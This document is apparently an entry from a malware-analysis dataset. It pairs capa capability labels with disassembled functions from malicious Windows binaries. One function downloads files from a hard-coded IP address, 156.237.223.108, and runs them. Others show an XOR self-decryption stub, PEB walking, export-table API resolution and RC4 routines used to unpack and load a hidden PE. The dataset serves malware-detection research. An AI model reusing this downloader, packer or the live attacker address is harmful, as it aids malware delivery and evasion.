joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4186e0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x82c
mov eax, dword [0x41c004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x828], eax
cmp ebx, 0x182
jne 0x418715
lea ecx, [ebp - 0x820]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
jmp 0x41873f
cmp ebx, 0x19f
jne 0x41873f
push str.sunoxazozobuzevuhuxeduk_lajijayosomigumasowagar
push str.jitesigawogebumaxe_hevocegoxocakoloyesubebizudoti_tilarovobojesajilahecuk_yemuxuyuvucuzitopugasapay_jiyonibiw
push str.fevicacozutanidanovivuheziriwol_wuhamojiweruzinuzig_rixizoderihoyuzazokefofow_sipuyetasabimebozevowi
push str.yuxetirelavimuse_tehinubewazametejivutejowololi_sewig
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push edi
xor edi, edi
test ebx, ebx
jle 0x4187b5
push esi
jmp 0x418750
lea esi, [ebp - 0x824]
mov dword [ebp - 0x824], 0
call fcn.004186d0
mov dl, byte [ebp - 0x824]
mov eax, dword [ebp - 0x828]
xor byte [eax + edi], dl
cmp ebx, 0xf
jne 0x4187af
lea eax, [ebp - 0x82c]
push eax
lea ecx, [ebp - 0x804]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push str.guzugicijixifehapazi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea edx, [ebp - 0x404]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
inc edi
cmp edi, ebx
jl 0x418750
pop esi
pop edi
cmp ebx, 0x2d
jne 0x4187cf
mov dword [0x2b39d58], 0xa62e7790
mov dword [0x2b39d5c], 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret

Function at 0x4187e0
Capabilities:
Get disk information

Disassembly:
mov eax, dword [0x2b39d4c]
push ebx
push esi
mov esi, dword [0x2b39a6c]
mov ebx, eax
cmp eax, 0x5dd
jne 0x418802
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
mov eax, dword [0x41d1e0]
call fcn.004186a0
cmp dword [0x2b39d4c], 0x2f
jne 0x41881d
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push esi
call fcn.004186e0
add esp, 4
cmp dword [0x2b39d4c], 0x568
pop esi
pop ebx
jne 0x41884a
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
ret
Function at 0x4010fc
Capabilities:
Create directory
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0
push str.C:Windows_sysWOW64_testnxhz
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push 0
push 0x411050
push str.http:__156.237.223.108:5637_xxq.txt
push 0
call sub.urlmon.dll_URLDownloadToFileW
push 0
push 0
push 0x4110e8
push str.http:__156.237.223.108:5637_xiaoq.txt
push 0
call sub.urlmon.dll_URLDownloadToFileW
push 5
push 0
push 0
push str.C:Windows_sysWOW64_testnxhzxxq.jpg
push 0x4111bc
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
push 0
push 0
push str.C:Windows_sysWOW64_testnxhz_testentixhz.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
pop ebp
ret
Function at 0x42e006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x2437fe7
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e0d2
mov ebx, 0x42cd70
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
mov esi, 0xb407c82
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x100df092
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x54
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, 0xffffffff
mov dword [0x10138db4], 0x122e
cmp ecx, 0
sete bl
cmp eax, 0
sete bh
and bl, bh
test bl, 1
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
jne 0x100df2af
jmp 0x100df199
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
add ecx, 0x264a
mov edx, eax
add edx, 1
mov esi, dword [ebp - 0x24]
mov di, word [esi + eax*2]
mov bx, di
add bx, 0xffbf
mov si, di
add si, 0x20
cmp bx, 0x1a
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov word [ebp - 0x32], di
mov word [ebp - 0x34], si
jb 0x100df125
mov ax, word [ebp - 0x32]
mov word [ebp - 0x34], ax
mov ax, word [ebp - 0x34]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
cmp word [ecx + edx*2], ax
sete bl
cmp ax, 0
setne bh
mov al, bl
and al, bh
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x38]
cmp esi, edi
setb bh
and al, bh
test al, 1
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 0x39], bl
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], eax
jne 0x100df0da
jmp 0x100df255
mov eax, 0xdfa
xor ecx, ecx
mov edx, dword [ebp - 0x40]
mov si, word [edx]
shr si, 1
movzx edi, si
cmp si, 0
mov ebx, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x44], eax
je 0x100df27e
jmp 0x100df0da
mov dword [0x10138db4], 0xc01
mov ecx, dword fs:[0x18]
xor eax, eax
mov dword [0x10138db4], 0x1973
mov ecx, dword [ecx + 0x30]
mov ecx, dword [ecx + 0xc]
mov edx, ecx
add edx, 0x14
mov dword [0x10138db8], 0x177a
mov ecx, dword [ecx + 0x14]
mov dword [0x10138db4], 0x1eb7
cmp ecx, edx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x18], eax
je 0x100df2af
mov eax, dword [ebp - 0x10]
cmp eax, 0
setne cl
mov edx, dword [ebp - 0x48]
mov byte [ebp - 0x4d], cl
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x54]
mov ecx, eax
add ecx, 0x24
mov edx, dword [eax + 0x28]
mov esi, dword [eax + 0x10]
mov edi, dword [ebp - 0x10]
cmp esi, edi
sete bl
mov bh, byte [ebp - 0x4d]
and bh, bl
test bh, 1
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x5c], esi
jne 0x100df234
jmp 0x100df167
mov eax, dword [ebp - 0x58]
add eax, 0xfffffff8
mov dword [0x10138db4], 0xdfa
mov dword [0x10138db8], 0xa7
mov dword [ebp - 0x18], eax
jmp 0x100df2af
mov al, byte [ebp - 0x39]
test al, 1
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x44], ecx
jne 0x100df264
jmp 0x100df27e
mov eax, dword [ebp - 0x2c]
mov dword [0x10138db4], eax
mov dword [0x10138db8], 0x671
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x18], ecx
jmp 0x100df2af
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x58]
mov edx, dword [ecx]
mov esi, dword [ebp - 0x4c]
cmp edx, esi
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x54], edx
jne 0x100df200
xor eax, eax
mov ecx, dword [ebp - 0x60]
mov dword [0x10138db4], ecx
mov dword [0x10138db8], 0x671
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add esp, 0x54
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100df3ee
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov eax, dword [0x10138db4]
add eax, 0xffffda07
mov dword [0x10138db4], eax
call fcn.10001070
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x100df426
mov eax, dword [esp + 0x24]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
lea eax, [esp + 0x38]
mov dword [0x10138db4], 0xbdc
mov dword [esp + 0x20], eax
call fcn.100e06ba
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x1c], ecx
jne 0x100df555
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.100df607
lea ecx, [0x100e0934]
mov dword [0x10138db8], 0xb1d
mov edx, dword [esp + 0x28]
mov dword [esp + 0x8c], edx
mov dword [esp + 0x44], 0x12c800
mov edx, dword [0x10138da0]
mov dword [esp + 0x68], edx
mov edx, dword [0x10138da4]
mov dword [esp + 0x78], edx
mov edx, dword [0x10138da8]
mov dword [esp + 0x7c], edx
mov edx, dword [0x10138dac]
mov dword [esp + 0x60], edx
mov dword [0x10138db4], 0x135a
mov edx, dword [0x10138db0]
mov dword [esp + 0x4c], edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
jne 0x100df4e4
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x100df4f8
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x100df4c1
lea eax, [esp + 0x38]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x80], ecx
mov edx, dword [esp + 0xc]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x38], esi
mov dword [0x10138db4], 0x111c
mov esi, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.100df8b9
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov ecx, dword [0x10138db4]
add ecx, 0xfffff0fe
mov dword [0x10138db4], ecx
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x24], eax
jmp 0x100df41c
Function at 0x100df607
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x168
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x10138db4], 0x483
mov dword [0x10138db8], 0xa86
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], ecx
jmp 0x100df6ee
lea eax, str.6jHq
mov ecx, 0xe
lea edx, [ebp - 0x12c]
mov dword [0x10138db8], 0x18c2
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x140], ecx
call fcn.100dffe8
mov dword [0x10138db4], 0x2e3
mov dword [0x10138db8], 0x2085
call fcn.100dfb6e
mov dword [esp], eax
mov eax, dword [ebp - 0x13c]
mov dword [esp + 4], eax
call fcn.100dfddb
mov ecx, eax
mov dword [0x10138dd4], eax
mov eax, esp
mov edx, dword [ebp - 0x144]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x150], ecx
jmp 0x100df751
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
lea edx, section..data
imul esi, ecx, 0x108
mov edi, edx
add edi, esi
add edi, 0x104
mov esi, ecx
add esi, 1
imul ecx, ecx, 0x108
add edx, ecx
add edx, 0xe4
mov ecx, dword [edi]
movzx edx, word [edx]
xor edx, ecx
add edx, eax
cmp esi, 0x534
mov eax, edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x134], esi
mov dword [ebp - 0x138], eax
je 0x100df645
jmp 0x100df6ee
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
lea edx, section..data
imul esi, eax, 0x108
mov edi, edx
add edi, esi
add edi, 0x104
mov esi, dword [edi]
imul edi, eax, 0x108
mov ebx, edx
add ebx, edi
add ebx, 0x20
mov edi, dword [ebx]
imul ebx, eax, 0x108
add edx, ebx
add edx, 0xe4
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x148]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x158], ecx
mov dword [ebp - 0x15c], edx
call fcn.100e0886
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
add eax, ecx
mov edx, dword [ebp - 0x154]
add edx, 1
cmp edx, 0x534
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x150], edx
jne 0x100df751
lea eax, [0x100e2573]
mov ecx, 0x20
lea edx, [ebp - 0x10c]
mov dword [0x10138db4], 0x1ad9
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x164], ecx
call fcn.100e0398
mov eax, dword [ebp - 0x160]
mov dword [esp], eax
mov ecx, dword [ebp - 0x148]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x144]
mov dword [esp + 0xc], edx
call fcn.100e014c
xor eax, eax
mov ecx, dword [ebp - 0x148]
add ecx, 0x72e0e
mov edx, dword [ebp - 0x130]
mov dword [edx], ecx
mov ecx, dword [0x10138db8]
add ecx, 0xfffff632
mov dword [0x10138db4], ecx
mov dword [edx + 4], 0x12c800
mov ecx, dword [ebp - 0x148]
add ecx, 0xf4ac
mov dword [edx + 8], ecx
mov dword [edx + 0xc], 0x1f60
mov ecx, dword [0x10138db4]
add ecx, 0xffffe960
mov dword [0x10138db8], ecx
add esp, 0x168
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100df8b9
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, str.6jHq
mov esi, 0xe
lea edi, [ebp - 0x28]
mov dword [0x10138db4], 0x90d
mov dword [0x10138db8], 0xb59
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xe
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], esi
call fcn.100dffe8
mov eax, dword [0x10138db4]
add eax, 0x1da2
mov dword [0x10138db8], eax
call fcn.100dfb6e
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.100dfddb
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
je 0x100dfa06
mov dword [0x10138db8], 0xc01
mov eax, dword [ebp - 0x3c]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x10138db4], 0x1a95
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.100dfc1a
mov eax, dword [ebp - 0x44]
mov word [eax], 0x5a4d
mov dword [eax + 0x3c], 0xc0
mov dword [eax + 0xc0], 0x4550
mov dword [0x10138db8], 0x539
add eax, 0xffc00000
mov ecx, dword [ebp - 0x30]
mov dword [ecx + 0x3c], eax
mov eax, dword [0x10138db8]
add eax, 0xffffeed3
mov dword [0x10138db8], eax
mov eax, dword [ebp - 0x44]
mov dword [ecx + 0x20], eax
mov dword [0x10138db4], 0x147
cmp eax, 0
sete dl
mov byte [ebp - 0x45], dl
xor eax, eax
mov cl, byte [ebp - 0x45]
test cl, 1
mov dword [ebp - 0x40], eax
jne 0x100dfa06
jmp 0x100df9f1
mov eax, dword [ebp - 0x44]
add eax, 0x1c4e
mov dword [0x10138db8], 0x1479
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add esp, 0x50
pop esi
pop edi
pop ebp
ret
Function at 0x100e014c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x10138dbc], 0
mov dword [0x10138dc0], 0
mov dword [0x10138dcc], 0
mov ebx, dword [0x10138db4]
add ebx, 0x5f1
mov dword [0x10138db4], ebx
cmp eax, 0
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov eax, edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], edi
je 0x100e01e5
jmp 0x100e01fc
mov eax, dword [0x10138db4]
mov ecx, dword [0x10138dbc]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
mov eax, dword [0x10138dc0]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], esi
jmp 0x100e01fc
mov eax, dword [0x10138db8]
add eax, 0x221
mov dword [0x10138db8], eax
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x14]
mov edi, 0x100
add ecx, 0x214e
mov dword [0x10138db4], ecx
add edx, 1
mov dword [ebp - 0x3c], eax
mov eax, edx
cdq
idiv edi
mov dword [0x10138dbc], edx
mov dword [0x10138db8], 0xe94
mov ecx, dword [ebp - 0x24]
movzx ebx, byte [ecx + edx]
add ebx, esi
mov eax, ebx
mov dword [ebp - 0x40], edx
cdq
idiv edi
mov dword [0x10138dc0], edx
mov esi, dword [ebp - 0x40]
mov cl, byte [ecx + esi]
mov byte [0x10138dc4], cl
mov edi, dword [ebp - 0x24]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov dword [0x10138db4], 0x20fe
mov cl, byte [0x10138dc4]
mov edx, dword [0x10138dc0]
mov byte [edi + edx], cl
mov edx, dword [0x10138dbc]
movzx edx, byte [edi + edx]
mov ebx, dword [0x10138dc0]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x10138dcc], ebx
mov dword [0x10138db4], 0x211
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x3c]
mov ch, byte [edx + ebx]
mov byte [0x10138dd1], ch
mov byte [0x10138dd2], cl
mov dword [0x10138db4], 0x1106
xor ch, cl
mov byte [0x10138dd0], ch
mov edx, dword [ebp - 0x20]
mov byte [edx + ebx], ch
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x38], ebx
je 0x100e01e5
jmp 0x100e01b8
Function at 0x100e0398
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10138dc0], 0
mov byte [0x10138dc4], 0
mov dword [0x10138db4], 0x9b7
mov dword [0x10138dbc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x100e04b3
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x10138dc8], 0
mov dword [0x10138db8], 0xa70
mov edx, dword [0x10138dc0]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x10138dc8], edi
mov dword [0x10138db4], 0x2605
mov eax, edi
cdq
idiv ecx
mov dword [0x10138dc0], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x10138dc4], cl
mov dword [0x10138db8], 0x1d7f
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov dword [0x10138db4], 0x14bd
mov cl, byte [0x10138dc4]
mov edx, dword [0x10138dc0]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov edx, dword [0x10138dbc]
add edx, 1
mov dword [0x10138dbc], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x100e03e2
jmp 0x100e04e5
xor eax, eax
mov dword [0x10138dbc], 0
mov dword [ebp - 0x20], eax
jmp 0x100e03e2
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x10138db4], 0x1a34
mov eax, dword [0x10138dbc]
add eax, 1
mov dword [0x10138dbc], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x100e04b3
jmp 0x100e049f
mov dword [0x10138db4], 0x20f6
mov dword [0x10138db8], 0xbda
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100e0501
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x58
mov eax, dword [ebp + 8]
mov ecx, dword [0x10138db4]
add ecx, 0x89f
mov dword [0x10138db4], ecx
mov dword [0x10138db8], 0x1fa4
mov dword [ebp - 0x10], eax
call fcn.100df2ba
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x100e0559
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov dword [0x10138db4], 0xfffff354
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x24]
mov dword [0x10138db8], 0x1e93
mov edi, dword [edx + eax + 0x18]
cmp edi, 0
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x34], ebx
je 0x100e06af
jmp 0x100e05b5
mov al, byte [ebp - 0x35]
test al, 1
jne 0x100e0682
jmp 0x100e064d
xor eax, eax
mov ecx, 0xfffff354
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x2c]
add edx, esi
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
xor esi, esi
add eax, 0x89f
mov edi, dword [ebp - 0x28]
mov ebx, dword [edi + edx*4]
mov dword [0x10138db4], eax
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], esi
mov eax, dword [ebp - 0x58]
mov ecx, eax
mov edx, dword [ebp - 0x48]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x5c], eax
mov byte [ebp - 0x5d], bh
mov byte [ebp - 0x35], cl
je 0x100e05a5
mov eax, dword [ebp - 0x5c]
add eax, 1
mov cl, byte [ebp - 0x5d]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x35]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x58], eax
jne 0x100e05f7
jmp 0x100e05a5
mov eax, dword [ebp - 0x4c]
add eax, 2
mov dword [ebp - 0x64], eax
xor eax, eax
mov ecx, dword [ebp - 0x50]
add ecx, 1
mov edx, dword [ebp - 0x30]
cmp ecx, edx
mov esi, dword [ebp - 0x64]
mov edi, dword [ebp - 0x54]
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x34], eax
jb 0x100e05cd
jmp 0x100e06af
mov eax, dword [ebp - 0x4c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov dword [0x10138db4], 0x5ea
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [0x10138db8], 0x19e
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x34]
add esp, 0x58
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100e06ba
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [0x10138db4]
add eax, 0xfffff2a7
mov dword [0x10138db4], eax
mov dword [ebp - 0x10], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 0x10], eax
xor ecx, ecx
mov dword [0x10138db8], 0x1944
mov edx, dword [ebp - 0x10]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x10138db4], 0x2173
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], ecx
jmp 0x100e0779
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff8
shl eax, 1
mov ecx, dword [ebp - 0x18]
add ecx, eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
cmp word [eax], 0x6c
jne 0x100e0824
mov eax, 0xb8a
mov ecx, 0x23bc
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x20]
mov di, word [edx + esi*2 - 0xe]
cmp di, 0x6c
sete bl
cmp di, 0x6c
mov byte [ebp - 0x25], bl
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], eax
je 0x100e0760
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [0x10138db4], eax
mov cl, byte [ebp - 0x25]
and cl, 1
movzx eax, cl
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], edx
je 0x100e07a6
mov eax, dword [ebp - 0x34]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x38], eax
jl 0x100e0779
mov eax, dword [ebp - 0x38]
mov dword [0x10138db8], 0x1341
mov dword [0x10138db4], 0x356f
mov ecx, dword [ebp - 0x18]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
jne 0x100e0824
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x100e0824
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x100e0824
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x100e0824
mov dword [0x10138db4], 0x8c1
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff7
shl eax, 1
mov ecx, dword [ebp - 0x18]
add ecx, eax
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
